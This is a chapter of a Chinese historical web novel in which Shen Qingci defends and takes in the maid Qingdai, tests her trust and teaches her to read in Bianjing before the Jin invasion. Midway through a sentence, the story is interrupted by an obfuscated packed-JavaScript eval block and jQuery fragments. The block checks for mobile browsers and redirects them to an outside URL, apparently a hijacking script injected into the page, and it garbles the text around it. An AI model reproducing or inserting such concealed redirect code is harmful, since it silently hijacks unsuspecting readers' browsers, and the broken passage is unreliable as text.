宣和七年九月初
那声响动从外院传来的时候，沈清辞正在厢房里看账，手边摆放着一盏凉了的茶。
顾长风昨日差人送来的第一批货单，整齐的压在茶盏底下，密密麻麻的数字，她已经过了两遍，正要起身去找绿芜换盏热茶。
“砰。”
实打实的一声闷响传来，像是有什么重物，狠狠砸在了木头上。
紧接着，便是一阵男人的厉声喝骂，虽然尽力压低着声音，却还是很轻易的透过两道院墙，钻了进来。隐约还带着一丝女人的闷哼声，细细的，像是在竭力忍耐着。
沈清辞放下账册，起身循着声音往外走。
外院的角落里，围了一小圈人。
王府的管家姓齐，年纪差不多四十来岁，身材矮胖，常年穿着一身半旧的绸缎直裰，束腰的带子扎得很紧，愣是将一肚子的横肉箍出了一个救生圈的轮廓。
此刻，他正双手叉着腰，站在院子中央，脚边倒着两个男仆，一个捂着鼻子，一个抱着腿，都没能站起来。
第三个男仆捂着流血的额头，不自觉地退后了两步，表情介于愤怒和惊愕之间，看向地上一堆黑瓦碎片，像是搞不清楚那东西，是怎么突然就砸到自己脑门上的。
而在那堆黑瓦碎片旁，站着一个女孩。
十四五岁的模样，穿着府里粗使丫鬟的制服，一身青色短衫，衣角扎进裤腰里，头发用一根粗布条随手绑着，鬓边散落着几缕碎发，显然是在刚才的打斗中弄乱的。
她右手握着半块碎瓦，站姿很稳，两脚微分，眉目间没有一丝惧色，只有沉甸甸的怒气。
她的脸，生得极好看，是那种荒野里长起来的野性的好看，大眼睛，挺鼻梁，薄唇抿成一条直线，下颌微扬。
但脸颊上，因为刚才的愤怒与打斗，渗出来了不少汗珠子，让那一道全新的淤青，显得格外明显和恐怖。
齐管家见沈清辞过来，脸上神情瞬间变了变，但随即摆出一副公事公办的模样，对着她敷衍地拱了拱手，语气里却带着几分告状的意味：
“表小姐来得正好，您来帮小的们评评这个理。这丫头是前段日子从庄子上新调来的，只因上个月的月钱，账房还没结算，前儿个她就来讨，小的叫她等几日，她哪里肯，今日又来要，竟然还动手打人，您说说，这叫什么规矩？”
地上的两个男仆，也跟着嚷起来，你一言我一语。
小女孩抿着嘴角站在原地，没有辩解，也没有求饶，只是把手里的那半块碎瓦，攥得更紧了一些。
沈清辞把眼前这一圈人扫了一遍，目光最后落在女孩的脸上，尤其在那道淤青上停了停。
“这丫头的月钱，扣了有多久了？”她转头看向齐管家，淡声问道。
院子里莜地一静。
齐管家没想到她会一上来就直接问这个，愣了一下，随即道：“这……账目上的事，小的要回头让账房查过再说——”
“扣了三个月。”
是那女孩答的，开口声音清亮，只在尾音时，隐约带着一丝喑哑，像是常年在外头跑，被风吹粗了似的。
她直视着沈清辞，不卑不亢，“这三个月里，奴婢每次来讨，都说等几日，等到今日，奴婢只是问了一句什么时候结，齐管家就叫了三个人来……”她顿了顿，下颌抬得更高了，“他们，就是奴婢打的。”
后半句，她没有任何辩解的意思，干脆直接认账。
沈清辞定定地看了她片刻，转头看向齐管家：“三个月的月钱，让账房结给她。”
齐管家的脸色顿时变了：“表小姐，可这府里的规矩——”
“先给她结了月钱，”她语气没有起伏，“再来说规矩的事。”
王仲山知道这个消息时，他正在书房里看文书。
齐管家一进来，就跪在地上，添油加醋地把这个事情说了一遍，总体表达的意思是：这个从庄子上调来的粗使丫头粗鄙不堪，留在府里迟早是个祸患，还不如趁机打发了了事。
王仲山听完齐管家的禀报，眉头紧蹙，搁下手中文书，正要开口。
就听见门口传来了沈清辞轻柔温软地声音，“舅舅。”
她进来，行了礼，很自然地道：“辞儿想问舅舅要那个丫鬟。”
王仲山愣了一下，疑惑的看着她。
“辞儿是看那丫鬟有把子力气，可以充作外出的护卫，贴身保护辞儿。”沈清辞笑着继续说道，“毕竟辞儿与母亲初来乍到，在汴京人生地不熟，身边正缺个能跑腿、能护身的人。那丫头，看着是个不怕事的，辞儿用得上。”
她说这话的时候，神情寻常的就像是在挑一件合用的器物。
王仲山眉心一跳，转头与齐管家对视了一眼。
说起来，这的确是个顺水推舟的处置方法——
省却了打发人的麻烦，又不落下苛待丫鬟的名声，还顺带安抚了外甥女的心。
王仲山捋了捋须，笑着点头道：“那便依了辞儿吧。你要觉着合用，那便带去身边使唤吧。至于那丫头的月钱……就从账房那里支就是了。”
沈清辞道了一声谢，便转身出去了。
齐管家站在书房里，看着她的背影，把到嘴边的话重新咽了回去。
女孩名叫青黛。
这是她进了沈清辞的院子后，自己报的名字。
她站在房门口，没有进来，脊背靠着门框，两手垂在身侧，看着屋里的陈设，神情里有一种警戒的安静，像只被人关进笼子，却还没认清主人是谁的野猫。
“进来，”沈清辞从妆台旁的小柜里取出一只药匣，回头道，“把袖子挽起来，我看看伤。”
青黛动了动手，身体却没动，“不用，只擦破了点皮，不碍事。”
“进来。”
沈清辞又重复了这两个字，语气听者轻柔，却有一种让人不自觉服从的笃定。
青黛沉默了两秒，便抬脚进了门。
她在沈清辞面前的矮几凳上坐下，慢慢挽起右袖，指节处有几道明显擦破的浅伤，已经结了薄薄的血痂，另有一块磕青的淤痕，肿着，看着有些不太好。
沈清辞蘸了药膏，仔细涂上去。
膏药是用薄荷做的底，抹上去有丝凉意。
青黛微微一怔，下意识地收了一下，随即又重新定住。
两个人都没有再说话，只余药匣里器具的碰撞，发出细碎的声音。
窗外的木芙蓉叶子在风里轻轻晃，院子里有鸟叫，不知什么鸟，叫声短促，只两声，便又没了动静。
青黛低着头，目光落在自己手背上，忽然问道：“表小姐想在奴婢身上图什么？”
沈清辞没有停手，只是平静地道：“从现在起，你不必叫我表小姐。”
青黛一愣，不明白沈清辞说的意思。
“从现在起，你跟着我，不是奴婢，”沈清辞把药匣盖上，抬起眼看着她，认真道，“我不需要一个端茶送水的人，我需要的是一个信得过的人。”
青黛回望她，眼中的疑惑更深了。
沈清辞看懂了青黛眼中的质疑，也不继续解释，只是慢条斯理地把药匣放回原处，站起身，语气平淡，像是在陈述一件显而易见的事，“你现在可以不信。”
青黛盯着她的背影看了很久，说不清楚心里是什么感觉。
她从小在庄子上长大，见过那些说好听的人，后面跟着的从来不是好事。
这个女人说“她可以不是奴婢”，说“她是信得过的人”，太过轻巧了，谁知道是真是假。
只是，刚刚那双手，为她上药的那双手，是真的，也是暖的，轻的，干净到一点多余的动作都没有。
还没等青黛想明白沈清辞的目的时，给她的考验，却在当天下午来了。
沈清辞单独把青黛叫进书房，把一句话，仔细地说了两遍，非常简短，只是一个地址和一句取货的暗语，叫她去景明坊的通汇行，传给一个叫顾长风的人。
青黛没有多问，理了理衣角，便出府去了。
窗外的天色，渐渐暗下来了。沈清辞独自坐在书房里，没有点烛火。
不远处，院子里有婆子在收晾晒的衣裳的声音。
房里有些暗，只剩窗纸上透进来的最后一丝天光，泛着浅浅的蓝灰色。
约莫过了一个时辰，院外有脚步声传来。
很快，沈清辞就看到满脸薄汗的青黛进来，刚站定，把沈清辞交代的那句话一字一顿地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323895|199114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复述了一遍——
一个字都没差，连停顿的位置，都和沈清辞当时说的时候一样，同时也把顾长风的回复一并告知。
沈清辞闻言，轻轻点了点头。
“识字吗？”
片刻后，她忽然问青黛。
青黛闻言，愣了一下，摇头，顿了顿，又补了一句：“奴婢认得几个，但不多。”
“那以后晚上没事的时候，我教你。”
青黛抬起眼，眼神疑惑的看着她。
“识字的人，“沈清辞解释道，“看账册，传消息，不容易被别人糊弄。”
当天夜里，书房的火烛点了两盏。
沈清辞在书案上铺开一张素纸，把最常用的几个字写出来，逐一教青黛认——粮、布、银、行、价、涨，都是市井常见的字，实用，好记。
青黛学得很快，皱着眉，把每个字先用手指在桌面上描了两遍，再抬头复认，几乎没有出过错。
沈清辞看着她，想起曾经的自己，当年学习的时候，也是这样，对着故纸堆里密密麻麻的蝇头小楷，一个一个地辨，一行一行地抄。
只不过，她当时描的是宋人写的字，而如今，宋人正在她面前，描她写的字。
这念头有点荒诞，也有点疯狂。
在写到第七个字的时候，青黛停下来，看着”北”字，没有再问读音。
“北边，”她低声道，“是出事了吗？”
沈清辞抬起眼。
青黛没有看她，只是盯着那个字，手指在桌面上轻轻按了按，“庄子上有从北边逃来的人，说金人……说北边不太平，干娘叫我们不要乱说，但奴婢听见过老管家私下讲，说金人的骑兵……”
她没有说完，把剩下的话咽了回去。
窗外的夜风，把窗纸吹得轻轻鼓起来，又落下去，烛火的火苗随着风晃了一晃。
沈清辞在灯光里坐了一会儿，才慢慢开口。
“会打起来的。”
青黛的手指静止了。
“不是以后，”沈清辞声音很平淡，像是在说明日的天气一般，毫无波澜，“而是很快。”
“那汴京——”
“汴京，”她顿了一下，“会很难很难。”
青黛抬起头，直直地看着她，眼神复杂难辨，似乎是一种很久以来担忧着的问题，突然有了个明确答案后的明悟。
“那我们怎么办？”青黛有些楞楞地问道。
沈清辞闻言，把那支笔放下，对上她的眼睛。
“活下去，”她说，这三个字，像是在回答青黛，其实更像是在回答自己，“我们都要好好地活下去。”
青黛沉默了。
许久以后，她把那张素纸朝自己这边转了转，重新拿起笔，低头，一笔一划，把“北”字重新描了一遍。
字迹虽然稚拙，但落笔却很用力。
当烛火快要燃尽的时候，沈清辞去添了点灯油，回身时，一眼瞥见青黛搁在桌沿上的那只手腕。
袖子因为伏案而微微滑落，露出了腕骨内侧。
那里有一道明显的疤痕。
旧的，浅色的，一看就是时间很长了，已经与周围的皮肤颜色相近，若不是灯光角度正好，几乎看不出来。但那道疤的走向很奇怪，不是普通磕碰留下的形状，也不像常见的刀伤，窄而长，像是被什么细绳或者铁丝勒出来的痕迹。
沈清辞没有问。
她回身重新坐下，若无其事地指着下一个字：“这个，念’市’。”
青黛下意识地拉了拉袖口，低下头，“市……”她在桌面上描了一遍，“市。”
“对。”
烛火重新亮起来，将两道人影投在墙上，一长一短，挨得很近。
窗外的汴京城还没入睡，远远的有更漏声，有偶尔从隔街传来的犬吠，被夜风托着，送进这间小小的书房。
每个人都有来历，每道疤都有故事。
青黛的故事，她早晚会知道。
但不是现在。
今晚，她们只是两个女人，坐在一盏灯下，一个教字，一个学字，在一座即将覆灭的繁华城市里，悄悄地，把彼此认作了可以信赖的人。
（第五章终）